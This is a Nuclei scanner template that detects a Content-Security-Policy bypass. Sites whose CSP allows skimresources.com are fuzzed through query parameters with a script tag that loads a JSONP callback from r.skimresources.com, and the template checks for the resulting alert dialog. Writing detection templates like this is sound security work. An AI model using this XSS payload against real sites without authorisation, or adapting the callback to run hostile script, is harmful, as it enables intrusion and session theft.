id: skimresources-r-csp-bypass

info:
  name: Content-Security-Policy Bypass - SkimResources R
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,skimresources-r,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "skimresources.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: skimresources_r_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://r.skimresources.com/api/?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "skimresources_r_csp_xss == true"
# digest: 4a0a00473045022100c41c138e2a713cd947f8a53199e43d30d760275d7f596c670d0d36eb5781b18c0220210df21641907c80e4e4fdc1f1dcfc581b6f3b2d0239e41a8f8e125fec34b9a6:922c64590222798bb761d5b6d8e72950